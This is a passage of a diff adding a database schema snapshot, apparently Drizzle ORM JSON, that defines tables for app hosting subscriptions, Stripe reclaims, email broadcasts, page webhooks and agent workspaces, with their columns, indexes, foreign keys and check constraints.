"published_apps_parked_is_metered_only", + "value": "\"published_apps\".\"status\" <> 'parked' OR \"published_apps\".\"tier\" = 'metered'" + }, + "published_apps_guest_preset_allowed": { + "name": "published_apps_guest_preset_allowed", + "value": "\"published_apps\".\"guestPreset\" IN ('shared-cpu-1x-512', 'shared-cpu-1x-1024', 'shared-cpu-2x-2048', 'shared-cpu-4x-4096')" + }, + "published_apps_metered_guest_preset": { + "name": "published_apps_metered_guest_preset", + "value": "\"published_apps\".\"tier\" <> 'metered' OR \"published_apps\".\"guestPreset\" = 'shared-cpu-1x-512'" + }, + "published_apps_image_size_nonneg": { + "name": "published_apps_image_size_nonneg", + "value": "\"published_apps\".\"imageSizeBytes\" IS NULL OR \"published_apps\".\"imageSizeBytes\" >= 0" + }, + "published_apps_subdomain_nonempty": { + "name": "published_apps_subdomain_nonempty", + "value": "length(\"published_apps\".\"subdomain\") > 0" + }, + "published_apps_claim_coherent": { + "name": "published_apps_claim_coherent", + "value": "(\"published_apps\".\"claimedAt\" IS NULL) = (\"published_apps\".\"claimedBy\" IS NULL)" + }, + "published_apps_image_size_measured_coherent": { + "name": "published_apps_image_size_measured_coherent", + "value": "(\"published_apps\".\"imageSizeBytes\" IS NULL) = (\"published_apps\".\"imageSizeMeasuredAt\" IS NULL)" + }, + "published_apps_awake_seconds_today_nonneg": { + "name": "published_apps_awake_seconds_today_nonneg", + "value": "\"published_apps\".\"awakeSecondsToday\" >= 0" + }, + "published_apps_awake_counter_needs_day": { + "name": "published_apps_awake_counter_needs_day", + "value": "\"published_apps\".\"awakeSecondsDay\" IS NOT NULL OR \"published_apps\".\"awakeSecondsToday\" = 0" + }, + "published_apps_awake_window_needs_wake": { + "name": "published_apps_awake_window_needs_wake", + "value": "\"published_apps\".\"awakeBilledThrough\" IS NULL OR \"published_apps\".\"lastWakeAt\" IS NOT NULL" + } + }, + "isRLSEnabled": false + }, + "public.published_app_subscriptions": { + "name": "published_app_subscriptions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "publishedAppId": { + "name": "publishedAppId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "stripeSubscriptionId": { + "name": "stripeSubscriptionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripePriceId": { + "name": "stripePriceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "guestPreset": { + "name": "guestPreset", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeEventCreated": { + "name": "stripeEventCreated", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "currentPeriodStart": { + "name": "currentPeriodStart", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "currentPeriodEnd": { + "name": "currentPeriodEnd", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "cancelAtPeriodEnd": { + "name": "cancelAtPeriodEnd", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "published_app_subscriptions_user_idx": { + "name": "published_app_subscriptions_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_app_subscriptions_org_idx": { + "name": "published_app_subscriptions_org_idx", + "columns": [ + { + "expression": "orgId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_app_subscriptions_stripe_subscription_idx": { + "name": "published_app_subscriptions_stripe_subscription_idx", + "columns": [ + { + "expression": "stripeSubscriptionId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "published_app_subscriptions_publishedAppId_published_apps_id_fk": { + "name": "published_app_subscriptions_publishedAppId_published_apps_id_fk", + "tableFrom": "published_app_subscriptions", + "tableTo": "published_apps", + "columnsFrom": [ + "publishedAppId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "published_app_subscriptions_userId_users_id_fk": { + "name": "published_app_subscriptions_userId_users_id_fk", + "tableFrom": "published_app_subscriptions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "published_app_subscriptions_orgId_organizations_id_fk": { + "name": "published_app_subscriptions_orgId_organizations_id_fk", + "tableFrom": "published_app_subscriptions", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "published_app_subscriptions_publishedAppId_unique": { + "name": "published_app_subscriptions_publishedAppId_unique", + "nullsNotDistinct": false, + "columns": [ + "publishedAppId" + ] + }, + "published_app_subscriptions_stripeSubscriptionId_unique": { + "name": "published_app_subscriptions_stripeSubscriptionId_unique", + "nullsNotDistinct": false, + "columns": [ + "stripeSubscriptionId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "published_app_subscriptions_status_nonempty": { + "name": "published_app_subscriptions_status_nonempty", + "value": "length(\"published_app_subscriptions\".\"status\") > 0" + }, + "published_app_subscriptions_period_ordered": { + "name": "published_app_subscriptions_period_ordered", + "value": "\"published_app_subscriptions\".\"currentPeriodEnd\" >= \"published_app_subscriptions\".\"currentPeriodStart\"" + } + }, + "isRLSEnabled": false + }, + "public.app_hosting_stripe_reclaims": { + "name": "app_hosting_stripe_reclaims", + "schema": "", + "columns": { + "stripeSubscriptionId": { + "name": "stripeSubscriptionId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "publishedAppId": { + "name": "publishedAppId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "cancelAt": { + "name": "cancelAt", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'now'" + }, + "recordedAt": { + "name": "recordedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastAttemptAt": { + "name": "lastAttemptAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastError": { + "name": "lastError", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "app_hosting_stripe_reclaims_recorded_at_idx": { + "name": "app_hosting_stripe_reclaims_recorded_at_idx", + "columns": [ + { + "expression": "recordedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "app_hosting_stripe_reclaims_attempts_nonneg": { + "name": "app_hosting_stripe_reclaims_attempts_nonneg", + "value": "\"app_hosting_stripe_reclaims\".\"attempts\" >= 0" + }, + "app_hosting_stripe_reclaims_cancel_at_known": { + "name": "app_hosting_stripe_reclaims_cancel_at_known", + "value": "\"app_hosting_stripe_reclaims\".\"cancelAt\" IN ('now', 'period_end')" + } + }, + "isRLSEnabled": false + }, + "public.broadcast_recipients": { + "name": "broadcast_recipients", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "broadcast_id": { + "name": "broadcast_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "recipient_email": { + "name": "recipient_email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "broadcast_recipient_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "skip_reason": { + "name": "skip_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_message": { + "name": "error_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "sent_at": { + "name": "sent_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "claimed_at": { + "name": "claimed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "claimed_by": { + "name": "claimed_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "broadcast_recipients_broadcast_user_unique": { + "name": "broadcast_recipients_broadcast_user_unique", + "columns": [ + { + "expression": "broadcast_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "broadcast_recipients_broadcast_status_idx": { + "name": "broadcast_recipients_broadcast_status_idx", + "columns": [ + { + "expression": "broadcast_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "broadcast_recipients_broadcast_id_email_broadcasts_id_fk": { + "name": "broadcast_recipients_broadcast_id_email_broadcasts_id_fk", + "tableFrom": "broadcast_recipients", + "tableTo": "email_broadcasts", + "columnsFrom": [ + "broadcast_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "broadcast_recipients_user_id_users_id_fk": { + "name": "broadcast_recipients_user_id_users_id_fk", + "tableFrom": "broadcast_recipients", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.broadcast_templates": { + "name": "broadcast_templates", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "subject": { + "name": "subject", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "body_markdown": { + "name": "body_markdown", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "broadcast_templates_active_idx": { + "name": "broadcast_templates_active_idx", + "columns": [ + { + "expression": "is_active", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "broadcast_templates_created_by_user_id_users_id_fk": { + "name": "broadcast_templates_created_by_user_id_users_id_fk", + "tableFrom": "broadcast_templates", + "tableTo": "users", + "columnsFrom": [ + "created_by_user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.email_broadcasts": { + "name": "email_broadcasts", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "subject": { + "name": "subject", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "engine": { + "name": "engine", + "type": "email_broadcast_engine", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'transactional'" + }, + "content_mode": { + "name": "content_mode", + "type": "email_broadcast_content_mode", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'compose'" + }, + "template_id": { + "name": "template_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "body_markdown": { + "name": "body_markdown", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "notification_type": { + "name": "notification_type", + "type": "NotificationType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'PRODUCT_UPDATE'" + }, + "audience_definition": { + "name": "audience_definition", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "status": { + "name": "status", + "type": "email_broadcast_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'draft'" + }, + "dry_run": { + "name": "dry_run", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "send_limit": { + "name": "send_limit", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "delay_ms": { + "name": "delay_ms", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 120 + }, + "total_targeted": { + "name": "total_targeted", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "sent_count": { + "name": "sent_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "skipped_count": { + "name": "skipped_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "failed_count": { + "name": "failed_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "step_results": { + "name": "step_results", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "job_id": { + "name": "job_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "blocked_reason": { + "name": "blocked_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "email_broadcasts_status_idx": { + "name": "email_broadcasts_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "email_broadcasts_created_at_idx": { + "name": "email_broadcasts_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "email_broadcasts_created_by_idx": { + "name": "email_broadcasts_created_by_idx", + "columns": [ + { + "expression": "created_by_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "email_broadcasts_template_id_broadcast_templates_id_fk": { + "name": "email_broadcasts_template_id_broadcast_templates_id_fk", + "tableFrom": "email_broadcasts", + "tableTo": "broadcast_templates", + "columnsFrom": [ + "template_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "email_broadcasts_created_by_user_id_users_id_fk": { + "name": "email_broadcasts_created_by_user_id_users_id_fk", + "tableFrom": "email_broadcasts", + "tableTo": "users", + "columnsFrom": [ + "created_by_user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.page_webhooks": { + "name": "page_webhooks", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "webhookToken": { + "name": "webhookToken", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "webhookSecretEncrypted": { + "name": "webhookSecretEncrypted", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "isEnabled": { + "name": "isEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ownerLeftAt": { + "name": "ownerLeftAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "lastFiredAt": { + "name": "lastFiredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastFireError": { + "name": "lastFireError", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "page_webhooks_page_id_idx": { + "name": "page_webhooks_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_webhooks_token_idx": { + "name": "page_webhooks_token_idx", + "columns": [ + { + "expression": "webhookToken", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "page_webhooks_pageId_pages_id_fk": { + "name": "page_webhooks_pageId_pages_id_fk", + "tableFrom": "page_webhooks", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "page_webhooks_createdBy_users_id_fk": { + "name": "page_webhooks_createdBy_users_id_fk", + "tableFrom": "page_webhooks", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "page_webhooks_webhookToken_unique": { + "name": "page_webhooks_webhookToken_unique", + "nullsNotDistinct": false, + "columns": [ + "webhookToken" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_workspace_shells": { + "name": "agent_workspace_shells", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspaceId": { + "name": "workspaceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "ownerId": { + "name": "ownerId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agentType": { + "name": "agentType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "command": { + "name": "command", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spriteExecId": { + "name": "spriteExecId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "coldTail": { + "name": "coldTail", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "coldTailAt": { + "name": "coldTailAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "coldTailHasOutput": { + "name": "coldTailHasOutput", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "agent_workspace_shells_workspace_id_idx": { + "name": "agent_workspace_shells_workspace_id_idx", + "columns": [ + { + "expression": "workspaceId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_workspace_shells_workspace_name_idx": { + "name": "agent_workspace_shells_workspace_name_idx", + "columns": [ + { + "expression": "workspaceId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_workspace_shells_workspaceId_agent_workspaces_id_fk": { + "name": "agent_workspace_shells_workspaceId_agent_workspaces_id_fk", + "tableFrom": "agent_workspace_shells", + "tableTo": "agent_workspaces", + "columnsFrom": [ + "workspaceId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_workspace_shells_ownerId_users_id_fk": { + "name": "agent_workspace_shells_ownerId_users_id_fk", + "tableFrom": "agent_workspace_shells", + "tableTo": "users", + "columnsFrom": [ + "ownerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_workspaces": { + "name": "agent_workspaces", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ownerId": { + "name": "ownerId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "envId": { + "name": "envId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spriteKey": { + "name": "spriteKey", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sandboxId": { + "name": "sandboxId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spriteInstanceId": { + "name": "spriteInstanceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "egressPolicyToken": { + "name": "egressPolicyToken", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "teardownRequestedAt": { + "name": "teardownRequestedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "spriteTornDownAt": { + "name": "spriteTornDownAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "storageLastBilledAt": { + "name": "storageLastBilledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "storageMeasuredBytes": { + "name": "storageMeasuredBytes", + "type": "bigint", + "primaryKey": false, + "notNull": false + }, + "storageMeasuredAt": { + "name": "storageMeasuredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastActiveAt": { + "name": "lastActiveAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "endedAt": { + "name": "endedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "agent_workspaces_drive_id_idx": { + "name": "agent_workspaces_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_workspaces_owner_id_idx": { + "name": "agent_workspaces_owner_id_idx", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_workspaces_live_sprite_idx": { + "name": "agent_workspaces_live_sprite_idx", + "columns": [ + { + "expression": "sandboxId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "spriteTornDownAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"agent_workspaces\".\"sandboxId\" IS NOT NULL AND \"agent_workspaces\".\"spriteTornDownAt\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_workspaces_env_id_idx": { + "name": "agent_workspaces_env_id_idx", + "columns": [ + { + "expression": "envId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_workspaces_driveId_drives_id_fk": { + "name": "agent_workspaces_driveId_drives_id_fk", + "tableFrom": "agent_workspaces", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_workspaces_ownerId_users_id_fk": { + "name": "agent_workspaces_ownerId_users_id_fk", + "tableFrom": "agent_workspaces", + "tableTo": "users", + "columnsFrom": [ + "ownerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_workspaces_envId_drive_envs_id_fk": { + "name": "agent_workspaces_envId_drive_envs_id_fk", + "tableFrom": "agent_workspaces", + "tableTo": "drive_envs", + "columnsFrom": [ + "envId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "agent_workspaces_env_no_sprite_check": { + "name": "agent_workspaces_env_no_sprite_check", + "value": "\"agent_workspaces\".\"envId\" IS NULL OR (\"agent_workspaces\".\"sandboxId\" IS NULL AND \"agent_workspaces\".\"spriteKey\" IS NULL AND \"agent_workspaces\".\"spriteInstanceId\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.agent_workspace_node_revs": { + "name": "agent_workspace_node_revs", + "schema": "", + "columns": { + "rootId": { + "name": "rootId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "rev": { + "name": "rev", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + } + }, + "indexes": {}, + "foreignKeys": { + "agent_workspace_node_revs_rootId_agent_workspaces_id_fk": { + "name": "agent_workspace_node_revs_rootId_agent_workspaces_id_fk", + "tableFrom": "agent_workspace_node_revs", + "tableTo": "agent_workspaces", + "columnsFrom": [ + "rootId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_workspace_nodes": { + "name": "agent_workspace_nodes", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "rootId": { + "name": "rootId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "parentId": { + "name": "parentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "nodeType": { + "name": "nodeType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "axis": { + "name": "axis", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "fraction": { + "name": "fraction", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "targetKind": { + "name": "targetKind", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "targetId": { + "name": "targetId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "agent_workspace_nodes_one_root_idx": { + "name": "agent_workspace_nodes_one_root_idx", + "columns": [ + { + "expression": "rootId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"agent_workspace_nodes\".\"nodeType\" = 'root'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_workspace_nodes_chat_target_idx": { + "name": "agent_workspace_nodes_chat_target_idx", + "columns": [ + { + "expression": "targetId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"agent_workspace_nodes\".\"targetKind\" = 'chat'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_workspace_nodes_parent_idx": { + "name": "agent_workspace_nodes_parent_idx", + "columns": [ + { + "expression": "rootId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "parentId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_workspace_nodes_rootId_agent_workspaces_id_fk": { + "name": "agent_workspace_nodes_rootId_agent_workspaces_id_fk", + "tableFrom": "agent_workspace_nodes", + "tableTo": "agent_workspaces", + "columnsFrom": [ + "rootId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_workspace_nodes_rootId_parentId_agent_workspace_nodes_rootId_id_fk": { + "name": "agent_workspace_nodes_rootId_parentId_agent_workspace_nodes_rootId_id_fk", + "tableFrom": "agent_workspace_nodes", + "tableTo": "agent_workspace_nodes", + "columnsFrom": [ + "rootId", + "parentId" + ], + "columnsTo": [ + "rootId", + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "agent_workspace_nodes_rootId_id_pk": { + "name": "agent_workspace_nodes_rootId_id_pk", + "columns": [ + "rootId", + "id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + 